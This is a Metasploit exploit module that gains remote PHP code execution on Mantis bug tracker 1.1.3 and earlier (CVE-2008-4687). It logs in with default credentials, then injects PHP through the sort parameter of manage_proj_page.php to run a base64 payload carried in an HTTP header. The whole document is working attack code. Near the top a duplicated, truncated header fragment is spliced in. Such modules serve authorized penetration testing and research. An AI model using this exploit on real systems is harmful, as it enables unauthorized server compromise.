Mantis manage proj page PHP Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Mantis manage_proj_page PHP Code Execution',
'Description' => %q{
Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote
Code Execution vulnerability in the sort parameter of the
manage_proj_page.php page.
},
'Author' => [
'EgiX', # Exploit-DB Entry Author
'Lars Sorenson' # MSF module author
],
'License' => MSF_LICENSE,
'References' =>
[
['EDB', '6768'],
['CVE', '2008-4687'],
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Mantis <= 1.1.3', { } ],
],
'DisclosureDate' => 'Oct 16, 2008',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']),
OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']),
OptString.new('PASSWORD', [true, 'The password to log in with', 'root']),
])
end

def check
vprint_status('Checking Mantis version ...')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
'method' => 'GET'
})

unless res
vprint_error('Connection to host failed!')
return CheckCode::Unknown
end

unless res.body =~ /Mantis ([0-9]+.[0-9]+.[0-9]+)/
vprint_error('Cannot determine Mantis version!')
return CheckCode::Unknown
end

version = Gem::Version.new(Regexp.last_match[1])

vprint_status("Mantis version #{version} detected")

if res.code == 200 && version <= Gem::Version.new('1.1.3')
return CheckCode::Appears
end

CheckCode::Safe
end

def login
vprint_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ")
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login_page.php'),
})
unless res
fail_with(Failure::Unreachable, 'Cannot access host to log in!')
end

res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'login.php'),
'method' => 'POST',
'vars_post' => {
'username': datastore['username'],
'password': datastore['password'],
},
'cookie'=> "PHPSESSID=#{res.get_cookies}"
})
unless res
fail_with(Failure::Unknown, 'Cannot access host to log in!')
end

fail_with(Failure::Unreachable, 'Login failed!') unless res.code == 302
fail_with(Failure::NoAccess, 'Wrong credentials!') if res.redirection.to_s.include?('login_page.php')

store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
res.get_cookies
end

def exploit
fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears

cookie = login
vprint_status('Sending payload ...')
payload_b64 = Rex::Text.encode_base64(payload.encoded)
data = {
'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode($_SERVER[HTTP_CMD]));die();#",
}
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'),
'method' => 'POST',
'vars_post' => data,
'headers' => {
'Connection': 'close',
'Cookie': cookie.to_s,
'Cmd': payload_b64
}
})
end
end